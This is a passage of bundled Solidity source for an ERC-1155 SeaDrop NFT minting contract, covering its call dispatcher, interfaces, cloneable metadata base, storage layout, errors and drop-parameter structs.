ISeaDropToken.updateAllowedSeaport.selector ||\n selector == ISeaDropToken.updateDropURI.selector ||\n selector == ISeaDropToken.updateAllowList.selector ||\n selector == ISeaDropToken.updateCreatorPayouts.selector ||\n selector == ISeaDropToken.updatePayer.selector ||\n selector == ISeaDropToken.updateAllowedFeeRecipient.selector ||\n selector == IERC1155SeaDrop.updatePublicDrop.selector;\n\n if (callSeaDropImplementation) {\n // For update calls, ensure the sender is only the owner\n // or configurer contract.\n if (requireOnlyOwnerOrConfigurer) {\n _onlyOwnerOrConfigurer();\n } else if (selector == ISeaDropToken.updateSigner.selector) {\n // For updateSigner, a signer can disallow themselves.\n // Get the signer parameter.\n address signer = address(bytes20(data[12:32]));\n // If the signer is not allowed, ensure sender is only owner\n // or configurer.\n if (\n msg.sender != signer ||\n (msg.sender == signer &&\n !ERC1155SeaDropContractOffererStorage\n .layout()\n ._allowedSigners[signer])\n ) {\n _onlyOwnerOrConfigurer();\n }\n }\n\n // Forward the call to the implementation contract.\n (bool success, bytes memory returnedData) = _CONFIGURER\n .delegatecall(msg.data);\n\n // Require that the call was successful.\n if (!success) {\n // Bubble up the revert reason.\n assembly {\n revert(add(32, returnedData), mload(returnedData))\n }\n }\n\n // If the call was to generateOrder, mint the tokens.\n if (selector == ContractOffererInterface.generateOrder.selector) {\n _mintOrder(data);\n }\n\n // Return the data from the delegate call.\n return returnedData;\n } else if (selector == IERC1155SeaDrop.getMintStats.selector) {\n // Get the minter and token id.\n (address minter, uint256 tokenId) = abi.decode(\n data,\n (address, uint256)\n );\n\n // Get the mint stats.\n (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n ) = _getMintStats(minter, tokenId);\n\n // Encode the return data.\n return\n abi.encode(\n minterNumMinted,\n minterNumMintedForTokenId,\n totalMintedForTokenId,\n maxSupply\n );\n } else if (selector == ContractOffererInterface.ratifyOrder.selector) {\n // This function is a no-op, nothing additional needs to happen here.\n // Utilize assembly to efficiently return the ratifyOrder magic value.\n assembly {\n mstore(0, 0xf4dd92ce)\n return(0x1c, 32)\n }\n } else if (selector == ISeaDropToken.configurer.selector) {\n // Return the configurer contract.\n return abi.encode(_CONFIGURER);\n } else if (selector == IERC1155SeaDrop.multiConfigureMint.selector) {\n // Ensure only the owner or configurer can call this function.\n _onlyOwnerOrConfigurer();\n\n // Mint the tokens.\n _multiConfigureMint(data);\n } else {\n // Revert if the function selector is not supported.\n revert UnsupportedFunctionSelector(selector);\n }\n }\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists in enforcing maxSupply, maxTotalMintableByWallet,\n * and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC1155Received() hooks.\n *\n * @param minter The minter address.\n * @param tokenId The token id to return the stats for.\n */\n function _getMintStats(\n address minter,\n uint256 tokenId\n )\n internal\n view\n returns (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n )\n {\n // Put the token supply on the stack.\n TokenSupply storage tokenSupply = _tokenSupply[tokenId];\n\n // Assign the return values.\n totalMintedForTokenId = tokenSupply.totalMinted;\n maxSupply = tokenSupply.maxSupply;\n minterNumMinted = _totalMintedByUser[minter];\n minterNumMintedForTokenId = _totalMintedByUserPerToken[minter][tokenId];\n }\n\n /**\n * @dev Handle ERC-1155 safeTransferFrom. If \"from\" is this contract,\n * the sender can only be Seaport or the conduit.\n *\n * @param from The address to transfer from.\n * @param to The address to transfer to.\n * @param id The token id to transfer.\n * @param amount The amount of tokens to transfer.\n * @param data The data to pass to the onERC1155Received hook.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual override {\n if (from == address(this)) {\n // Only Seaport or the conduit can use this function\n // when \"from\" is this contract.\n if (\n msg.sender != _CONDUIT &&\n !ERC1155SeaDropContractOffererStorage.layout()._allowedSeaport[\n msg.sender\n ]\n ) {\n revert InvalidCallerOnlyAllowedSeaport(msg.sender);\n }\n return;\n }\n\n ERC1155._safeTransfer(_by(), from, to, id, amount, data);\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(\n bytes4 interfaceId\n )\n public\n view\n virtual\n override(ERC1155ContractMetadataCloneable)\n returns (bool)\n {\n return\n interfaceId == type(IERC1155SeaDrop).interfaceId ||\n interfaceId == type(ContractOffererInterface).interfaceId ||\n interfaceId == 0x2e778efc || // SIP-5 (getSeaportMetadata)\n // ERC1155ContractMetadata returns supportsInterface true for\n // IERC1155ContractMetadata, ERC-4906, ERC-2981\n // ERC1155A returns supportsInterface true for\n // ERC165, ERC1155, ERC1155MetadataURI\n ERC1155ContractMetadataCloneable.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Internal function to mint tokens during a generateOrder call\n * from Seaport.\n *\n * @param data The original transaction calldata, without the selector.\n */\n function _mintOrder(bytes calldata data) internal {\n // Decode fulfiller, minimumReceived, and context from calldata.\n (\n address fulfiller,\n SpentItem[] memory minimumReceived,\n ,\n bytes memory context\n ) = abi.decode(data, (address, SpentItem[], SpentItem[], bytes));\n\n // Assign the minter from context[22:42]. We validate context has the\n // correct minimum length in the implementation's `_decodeOrder`.\n address minter;\n assembly {\n minter := shr(96, mload(add(add(context, 0x20), 22)))\n }\n\n // If the minter is the zero address, set it to the fulfiller.\n if (minter == address(0)) {\n minter = fulfiller;\n }\n\n // Set the token ids and quantities.\n uint256 minimumReceivedLength = minimumReceived.length;\n uint256[] memory tokenIds = new uint256[](minimumReceivedLength);\n uint256[] memory quantities = new uint256[](minimumReceivedLength);\n for (uint256 i = 0; i < minimumReceivedLength; ) {\n tokenIds[i] = minimumReceived[i].identifier;\n quantities[i] = minimumReceived[i].amount;\n unchecked {\n ++i;\n }\n }\n\n // Mint the tokens.\n _batchMint(minter, tokenIds, quantities, \"\");\n }\n\n /**\n * @dev Internal function to mint tokens during a multiConfigureMint call\n * from the configurer contract.\n *\n * @param data The original transaction calldata, without the selector.\n */\n function _multiConfigureMint(bytes calldata data) internal {\n // Decode the calldata.\n (\n address recipient,\n uint256[] memory tokenIds,\n uint256[] memory amounts\n ) = abi.decode(data, (address, uint256[], uint256[]));\n\n _batchMint(recipient, tokenIds, amounts, \"\");\n }\n}\n"
},
"src/interfaces/IERC1155SeaDrop.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { ISeaDropToken } from \"./ISeaDropToken.sol\";\n\nimport { PublicDrop } from \"../lib/ERC1155SeaDropStructs.sol\";\n\n/**\n * @dev A helper interface to get and set parameters for ERC1155SeaDrop.\n * The token does not expose these methods as part of its external\n * interface to optimize contract size, but does implement them.\n */\ninterface IERC1155SeaDrop is ISeaDropToken {\n /**\n * @notice Update the SeaDrop public drop parameters at a given index.\n *\n * @param publicDrop The new public drop parameters.\n * @param index The public drop index.\n */\n function updatePublicDrop(\n PublicDrop calldata publicDrop,\n uint256 index\n ) external;\n\n /**\n * @notice Returns the public drop stage parameters at a given index.\n *\n * @param index The index of the public drop stage.\n */\n function getPublicDrop(\n uint256 index\n ) external view returns (PublicDrop memory);\n\n /**\n * @notice Returns the public drop indexes.\n */\n function getPublicDropIndexes() external view returns (uint256[] memory);\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists SeaDrop in enforcing maxSupply,\n * maxTotalMintableByWallet, maxTotalMintableByWalletPerToken,\n * and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC1155Received() hooks.\n *\n * @param minter The minter address.\n * @param tokenId The token id to return stats for.\n */\n function getMintStats(\n address minter,\n uint256 tokenId\n )\n external\n view\n returns (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n );\n\n /**\n * @notice This function is only allowed to be called by the configurer\n * contract as a way to batch mints and configuration in one tx.\n *\n * @param recipient The address to receive the mints.\n * @param tokenIds The tokenIds to mint.\n * @param amounts The amounts to mint.\n */\n function multiConfigureMint(\n address recipient,\n uint256[] calldata tokenIds,\n uint256[] calldata amounts\n ) external;\n}\n"
},
"src/interfaces/ISeaDropToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\nimport { AllowListData, CreatorPayout } from \"../lib/SeaDropStructs.sol\";\n\n/**\n * @dev A helper base interface for IERC721SeaDrop and IERC1155SeaDrop.\n * The token does not expose these methods as part of its external\n * interface to optimize contract size, but does implement them.\n */\ninterface ISeaDropToken is ISeaDropTokenContractMetadata {\n /**\n * @notice Update the SeaDrop allowed Seaport contracts privileged to mint.\n * Only the owner can use this function.\n *\n * @param allowedSeaport The allowed Seaport addresses.\n */\n function updateAllowedSeaport(address[] calldata allowedSeaport) external;\n\n /**\n * @notice Update the SeaDrop allowed fee recipient.\n * Only the owner can use this function.\n *\n * @param feeRecipient The new fee recipient.\n * @param allowed Whether the fee recipient is allowed.\n */\n function updateAllowedFeeRecipient(\n address feeRecipient,\n bool allowed\n ) external;\n\n /**\n * @notice Update the SeaDrop creator payout addresses.\n * The total basis points must add up to exactly 10_000.\n * Only the owner can use this function.\n *\n * @param creatorPayouts The new creator payouts.\n */\n function updateCreatorPayouts(\n CreatorPayout[] calldata creatorPayouts\n ) external;\n\n /**\n * @notice Update the SeaDrop drop URI.\n * Only the owner can use this function.\n *\n * @param dropURI The new drop URI.\n */\n function updateDropURI(string calldata dropURI) external;\n\n /**\n * @notice Update the SeaDrop allow list data.\n * Only the owner can use this function.\n *\n * @param allowListData The new allow list data.\n */\n function updateAllowList(AllowListData calldata allowListData) external;\n\n /**\n * @notice Update the SeaDrop allowed payers.\n * Only the owner can use this function.\n *\n * @param payer The payer to update.\n * @param allowed Whether the payer is allowed.\n */\n function updatePayer(address payer, bool allowed) external;\n\n /**\n * @notice Update the SeaDrop allowed signer.\n * Only the owner can use this function.\n * An allowed signer can also disallow themselves.\n *\n * @param signer The signer to update.\n * @param allowed Whether the signer is allowed.\n */\n function updateSigner(address signer, bool allowed) external;\n\n /**\n * @notice Get the SeaDrop allowed Seaport contracts privileged to mint.\n */\n function getAllowedSeaport() external view returns (address[] memory);\n\n /**\n * @notice Returns the SeaDrop creator payouts.\n */\n function getCreatorPayouts() external view returns (CreatorPayout[] memory);\n\n /**\n * @notice Returns the SeaDrop allow list merkle root.\n */\n function getAllowListMerkleRoot() external view returns (bytes32);\n\n /**\n * @notice Returns the SeaDrop allowed fee recipients.\n */\n function getAllowedFeeRecipients() external view returns (address[] memory);\n\n /**\n * @notice Returns the SeaDrop allowed signers.\n */\n function getSigners() external view returns (address[] memory);\n\n /**\n * @notice Returns if the signed digest has been used.\n *\n * @param digest The digest hash.\n */\n function getDigestIsUsed(bytes32 digest) external view returns (bool);\n\n /**\n * @notice Returns the SeaDrop allowed payers.\n */\n function getPayers() external view returns (address[] memory);\n\n /**\n * @notice Returns the configurer contract.\n */\n function configurer() external view returns (address);\n}\n"
},
"src/clones/ERC1155ContractMetadataCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n IERC1155ContractMetadata\n} from \"../interfaces/IERC1155ContractMetadata.sol\";\n\nimport {\n ERC1155ConduitPreapproved\n} from \"../lib/ERC1155ConduitPreapproved.sol\";\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\nimport { ERC2981 } from \"solady/src/tokens/ERC2981.sol\";\n\nimport { Ownable } from \"solady/src/auth/Ownable.sol\";\n\nimport {\n Initializable\n} from \"@openzeppelin-upgradeable/contracts/proxy/utils/Initializable.sol\";\n\n/**\n * @title ERC1155ContractMetadataCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable token contract that extends ERC-1155\n * with additional metadata and ownership capabilities.\n */\ncontract ERC1155ContractMetadataCloneable is\n ERC1155ConduitPreapproved,\n ERC2981,\n Ownable,\n IERC1155ContractMetadata,\n Initializable\n{\n /// @notice A struct containing the token supply info per token id.\n mapping(uint256 => TokenSupply) _tokenSupply;\n\n /// @notice The total number of tokens minted by address.\n mapping(address => uint256) _totalMintedByUser;\n\n /// @notice The total number of tokens minted per token id by address.\n mapping(address => mapping(uint256 => uint256)) _totalMintedByUserPerToken;\n\n /// @notice The name of the token.\n string internal _name;\n\n /// @notice The symbol of the token.\n string internal _symbol;\n\n /// @notice The base URI for token metadata.\n string internal _baseURI;\n\n /// @notice The contract URI for contract metadata.\n string internal _contractURI;\n\n /// @notice The provenance hash for guaranteeing metadata order\n /// for random reveals.\n bytes32 internal _provenanceHash;\n\n /// @notice The allowed contract that can configure SeaDrop parameters.\n address internal _CONFIGURER;\n\n /**\n * @dev Reverts if the sender is not the owner or the allowed\n * configurer contract.\n *\n * This is used as a function instead of a modifier\n * to save contract space when used multiple times.\n */\n function _onlyOwnerOrConfigurer() internal view {\n if (msg.sender != _CONFIGURER && msg.sender != owner()) {\n revert Unauthorized();\n }\n }\n\n /**\n * @notice Deploy the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * configure parameters. Also contains SeaDrop\n * implementation code.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function __ERC1155ContractMetadataCloneable_init(\n address allowedConfigurer,\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n // Set the name of the token.\n _name = name_;\n\n // Set the symbol of the token.\n _symbol = symbol_;\n\n // Set the allowed configurer contract to interact with this contract.\n _CONFIGURER = allowedConfigurer;\n }\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param newBaseURI The new base URI to set.\n */\n function setBaseURI(string calldata newBaseURI) external override {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the new base URI.\n _baseURI = newBaseURI;\n\n // Emit an event with the update.\n emit BatchMetadataUpdate(0, type(uint256).max);\n }\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external override {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the new contract URI.\n _contractURI = newContractURI;\n\n // Emit an event with the update.\n emit ContractURIUpdated(newContractURI);\n }\n\n /**\n * @notice Emit an event notifying metadata updates for\n * a range of token ids, according to EIP-4906.\n *\n * @param fromTokenId The start token id.\n * @param toTokenId The end token id.\n */\n function emitBatchMetadataUpdate(\n uint256 fromTokenId,\n uint256 toTokenId\n ) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Emit an event with the update.\n if (fromTokenId == toTokenId) {\n // If only one token is being updated, use the event\n // in the 1155 spec.\n emit URI(uri(fromTokenId), fromTokenId);\n } else {\n emit BatchMetadataUpdate(fromTokenId, toTokenId);\n }\n }\n\n /**\n * @notice Sets the max token supply and emits an event.\n *\n * @param tokenId The token id to set the max supply for.\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 tokenId, uint256 newMaxSupply) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Ensure the max supply does not exceed the maximum value of uint64,\n // a limit due to the storage of bit-packed variables in TokenSupply,\n if (newMaxSupply > 2 ** 64 - 1) {\n revert CannotExceedMaxSupplyOfUint64(newMaxSupply);\n }\n\n // Set the new max supply.\n _tokenSupply[tokenId].maxSupply = uint64(newMaxSupply);\n\n // Emit an event with the update.\n emit MaxSupplyUpdated(tokenId, newMaxSupply);\n }\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert if the provenance hash has already\n * been set, so be sure to carefully set it only once.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Keep track of the old provenance hash for emitting with the event.\n bytes32 oldProvenanceHash = _provenanceHash;\n\n // Revert if the provenance hash has already been set.\n if (oldProvenanceHash != bytes32(0)) {\n revert ProvenanceHashCannotBeSetAfterAlreadyBeingSet();\n }\n\n // Set the new provenance hash.\n _provenanceHash = newProvenanceHash;\n\n // Emit an event with the update.\n emit ProvenanceHashUpdated(oldProvenanceHash, newProvenanceHash);\n }\n\n /**\n * @notice Sets the default royalty information.\n *\n * Requirements:\n *\n * - `receiver` cannot be the zero address.\n * - `feeNumerator` cannot be greater than the fee denominator of 10_000 basis points.\n */\n function setDefaultRoyalty(address receiver, uint96 feeNumerator) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the default royalty.\n // ERC2981 implementation ensures feeNumerator <= feeDenominator\n // and receiver != address(0).\n _setDefaultRoyalty(receiver, feeNumerator);\n\n // Emit an event with the updated params.\n emit RoyaltyInfoUpdated(receiver, feeNumerator);\n }\n\n /**\n * @notice Returns the name of the token.\n */\n function name() external view returns (string memory) {\n return _name;\n }\n\n /**\n * @notice Returns the symbol of the token.\n */\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view override returns (string memory) {\n return _baseURI;\n }\n\n /**\n * @notice Returns the contract URI for contract metadata.\n */\n function contractURI() external view override returns (string memory) {\n return _contractURI;\n }\n\n /**\n * @notice Returns the max token supply for a token id.\n */\n function maxSupply(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].maxSupply;\n }\n\n /**\n * @notice Returns the total supply for a token id.\n */\n function totalSupply(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].totalSupply;\n }\n\n /**\n * @notice Returns the total minted for a token id.\n */\n function totalMinted(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].totalMinted;\n }\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view override returns (bytes32) {\n return _provenanceHash;\n }\n\n /**\n * @notice Returns the URI for token metadata.\n *\n * This implementation returns the same URI for *all* token types.\n * It relies on the token type ID substitution mechanism defined\n * in the EIP to replace {id} with the token id.\n *\n * @custom:param tokenId The token id to get the URI for.\n */\n function uri(\n uint256 /* tokenId */\n ) public view virtual override returns (string memory) {\n // Return the base URI.\n return _baseURI;\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC1155, ERC2981) returns (bool) {\n return\n interfaceId == type(IERC1155ContractMetadata).interfaceId ||\n interfaceId == 0x49064906 || // ERC-4906 (MetadataUpdate)\n ERC2981.supportsInterface(interfaceId) ||\n // ERC1155 returns supportsInterface true for\n // ERC165, ERC1155, ERC1155MetadataURI\n ERC1155.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Adds to the internal counters for a mint.\n *\n * @param to The address to mint to.\n * @param id The token id to mint.\n * @param amount The quantity to mint.\n * @param data The data to pass if receiver is a contract.\n */\n function _mint(\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual override {\n // Increment mint counts.\n _incrementMintCounts(to, id, amount);\n\n ERC1155._mint(to, id, amount, data);\n }\n\n /**\n * @dev Adds to the internal counters for a batch mint.\n *\n * @param to The address to mint to.\n * @param ids The token ids to mint.\n * @param amounts The quantities to mint.\n * @param data The data to pass if receiver is a contract.\n */\n function _batchMint(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual override {\n // Put ids length on the stack to save MLOADs.\n uint256 idsLength = ids.length;\n\n for (uint256 i = 0; i < idsLength; ) {\n // Increment mint counts.\n _incrementMintCounts(to, ids[i], amounts[i]);\n\n unchecked {\n ++i;\n }\n }\n\n ERC1155._batchMint(to, ids, amounts, data);\n }\n\n /**\n * @dev Subtracts from the internal counters for a burn.\n *\n * @param by The address calling the burn.\n * @param from The address to burn from.\n * @param id The token id to burn.\n * @param amount The amount to burn.\n */\n function _burn(\n address by,\n address from,\n uint256 id,\n uint256 amount\n ) internal virtual override {\n // Reduce the supply.\n _reduceSupplyOnBurn(id, amount);\n\n ERC1155._burn(by, from, id, amount);\n }\n\n /**\n * @dev Subtracts from the internal counters for a batch burn.\n *\n * @param by The address calling the burn.\n * @param from The address to burn from.\n * @param ids The token ids to burn.\n * @param amounts The amounts to burn.\n */\n function _batchBurn(\n address by,\n address from,\n uint256[] memory ids,\n uint256[] memory amounts\n ) internal virtual override {\n // Put ids length on the stack to save MLOADs.\n uint256 idsLength = ids.length;\n\n for (uint256 i = 0; i < idsLength; ) {\n // Reduce the supply.\n _reduceSupplyOnBurn(ids[i], amounts[i]);\n\n unchecked {\n ++i;\n }\n }\n\n ERC1155._batchBurn(by, from, ids, amounts);\n }\n\n function _reduceSupplyOnBurn(uint256 id, uint256 amount) internal {\n // Get the current token supply.\n TokenSupply storage tokenSupply = _tokenSupply[id];\n\n // Reduce the totalSupply.\n unchecked {\n tokenSupply.totalSupply -= uint64(amount);\n }\n }\n\n /**\n * @dev Internal function to increment mint counts.\n *\n * Note that this function does not check if the mint exceeds\n * maxSupply, which should be validated before this function is called.\n *\n * @param to The address to mint to.\n * @param id The token id to mint.\n * @param amount The quantity to mint.\n */\n function _incrementMintCounts(\n address to,\n uint256 id,\n uint256 amount\n ) internal {\n // Get the current token supply.\n TokenSupply storage tokenSupply = _tokenSupply[id];\n\n if (tokenSupply.totalMinted + amount > tokenSupply.maxSupply) {\n revert MintExceedsMaxSupply(\n tokenSupply.totalMinted + amount,\n tokenSupply.maxSupply\n );\n }\n\n // Increment supply and number minted.\n // Can be unchecked because maxSupply cannot be set to exceed uint64.\n unchecked {\n tokenSupply.totalSupply += uint64(amount);\n tokenSupply.totalMinted += uint64(amount);\n\n // Increment total minted by user.\n _totalMintedByUser[to] += amount;\n\n // Increment total minted by user per token.\n _totalMintedByUserPerToken[to][id] += amount;\n }\n }\n}\n"
},
"src/lib/ERC1155SeaDropContractOffererStorage.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { PublicDrop } from \"./ERC1155SeaDropStructs.sol\";\n\nimport { CreatorPayout } from \"./SeaDropStructs.sol\";\n\nlibrary ERC1155SeaDropContractOffererStorage {\n struct Layout {\n /// @notice The allowed Seaport addresses that can mint.\n mapping(address => bool) _allowedSeaport;\n /// @notice The enumerated allowed Seaport addresses.\n address[] _enumeratedAllowedSeaport;\n /// @notice The public drop data.\n mapping(uint256 => PublicDrop) _publicDrops;\n /// @notice The enumerated public drop indexes.\n uint256[] _enumeratedPublicDropIndexes;\n /// @notice The creator payout addresses and basis points.\n CreatorPayout[] _creatorPayouts;\n /// @notice The allow list merkle root.\n bytes32 _allowListMerkleRoot;\n /// @notice The allowed fee recipients.\n mapping(address => bool) _allowedFeeRecipients;\n /// @notice The enumerated allowed fee recipients.\n address[] _enumeratedFeeRecipients;\n /// @notice The allowed server-side signers.\n mapping(address => bool) _allowedSigners;\n /// @notice The enumerated allowed signers.\n address[] _enumeratedSigners;\n /// @notice The used signature digests.\n mapping(bytes32 => bool) _usedDigests;\n /// @notice The allowed payers.\n mapping(address => bool) _allowedPayers;\n /// @notice The enumerated allowed payers.\n address[] _enumeratedPayers;\n }\n\n bytes32 internal constant STORAGE_SLOT =\n bytes32(\n uint256(\n keccak256(\"contracts.storage.ERC1155SeaDropContractOfferer\")\n ) - 1\n );\n\n function layout() internal pure returns (Layout storage l) {\n bytes32 slot = STORAGE_SLOT;\n assembly {\n l.slot := slot\n }\n }\n}\n"
},
"src/lib/ERC1155SeaDropErrorsAndEvents.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { PublicDrop } from \"./ERC1155SeaDropStructs.sol\";\n\nimport { SeaDropErrorsAndEvents } from \"./SeaDropErrorsAndEvents.sol\";\n\ninterface ERC1155SeaDropErrorsAndEvents is SeaDropErrorsAndEvents {\n /**\n * @dev Revert with an error if an empty PublicDrop is provided\n * for an already-empty public drop.\n */\n error PublicDropStageNotPresent();\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the\n * max minted per wallet for a certain token id.\n */\n error MintQuantityExceedsMaxMintedPerWalletForTokenId(\n uint256 tokenId,\n uint256 total,\n uint256 allowed\n );\n\n /**\n * @dev Revert with an error if the target token id to mint is not within\n * the drop stage range.\n */\n error TokenIdNotWithinDropStageRange(\n uint256 tokenId,\n uint256 startTokenId,\n uint256 endTokenId\n );\n\n /**\n * @notice Revert with an error if the number of maxSupplyAmounts doesn't\n * match the number of maxSupplyTokenIds.\n */\n error MaxSupplyMismatch();\n\n /**\n * @notice Revert with an error if the number of mint tokenIds doesn't\n * match the number of mint amounts.\n */\n error MintAmountsMismatch();\n\n /**\n * @notice Revert with an error if the mint order offer contains\n * a duplicate tokenId.\n */\n error OfferContainsDuplicateTokenId(uint256 tokenId);\n\n /**\n * @dev Revert if the fromTokenId is greater than the toTokenId.\n */\n error InvalidFromAndToTokenId(uint256 fromTokenId, uint256 toTokenId);\n\n /**\n * @notice Revert with an error if the number of publicDropIndexes doesn't\n * match the number of publicDrops.\n */\n error PublicDropsMismatch();\n\n /**\n * @dev An event with updated public drop data.\n */\n event PublicDropUpdated(PublicDrop publicDrop, uint256 index);\n}\n"
},
"src/lib/ERC1155SeaDropStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { AllowListData, CreatorPayout } from \"./SeaDropStructs.sol\";\n\n/**\n * @notice A struct defining public drop data.\n * Designed to fit efficiently in two storage slots.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n * @param paymentToken The payment token address. Null for\n * native token.\n * @param fromTokenId The start token id for the stage.\n * @param toTokenId The end token id for the stage.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param maxTotalMintableByWalletPerToken Maximum total number of mints a user\n * is allowed for the token id. (The limit for\n * this field is 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n */\nstruct PublicDrop {\n // slot 1\n uint80 startPrice; // 80/512 bits\n uint80 endPrice; // 160/512 bits\n uint40 startTime; // 200/512 bits\n uint40 endTime; // 240/512 bits\n bool restrictFeeRecipients; // 248/512 bits\n // uint8 unused;\n\n // slot 2\n address paymentToken; // 408/512 bits\n uint24 fromTokenId; // 432/512 bits\n uint24 toTokenId; // 456/512 bits\n uint16 maxTotalMintableByWallet; // 472/512 bits\n uint16 maxTotalMintableByWalletPerToken; // 488/512 bits\n uint16 feeBps; // 504/512 bits\n}\n\n/**\n * @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n *\n * Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token for the mint. Null for\n * native token.\n * @param fromTokenId The start token id for the stage.\n * @param toTokenId The end token id for the stage.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param maxTotalMintableByWalletPerToken Maximum total number of mints a user\n * is allowed for the token id.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct MintParams {\n uint256 startPrice;\n uint256 endPrice;\n uint256 startTime;\n uint256 endTime;\n address paymentToken;\n uint256 fromTokenId;\n uint256 toTokenId;\n uint256 maxTotalMintableByWallet;\n uint256 maxTotalMintableByWalletPerToken;\n uint256 maxTokenSupplyForStage;\n uint256 dropStageIndex; // non-zero\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/**\n * @dev Struct containing internal SeaDrop implementation logic\n * mint details to avoid stack too deep.\n *\n * @param feeRecipient The fee recipient.\n * @param payer The payer of the mint.\n * @param minter The mint recipient.\n * @param tokenIds The tokenIds to mint.\n * @param quantities The number of tokens to mint per tokenId.\n * @param withEffects Whether to apply state changes of the mint.\n */\nstruct MintDetails {\n address feeRecipient;\n address payer;\n address minter;\n uint256[] tokenIds;\n uint256[] quantities;\n bool withEffects;\n}\n\n/**\n * @notice A struct to configure multiple contract options in one transaction.\n */\nstruct MultiConfigureStruct {\n uint256[] maxSupplyTokenIds;\n uint256[] maxSupplyAmounts;\n string baseURI;\n string contractURI;\n PublicDrop[] publicDrops;\n uint256[] publicDropsIndexes;\n string dropURI;\n AllowListData allowListData;\n CreatorPayout[] 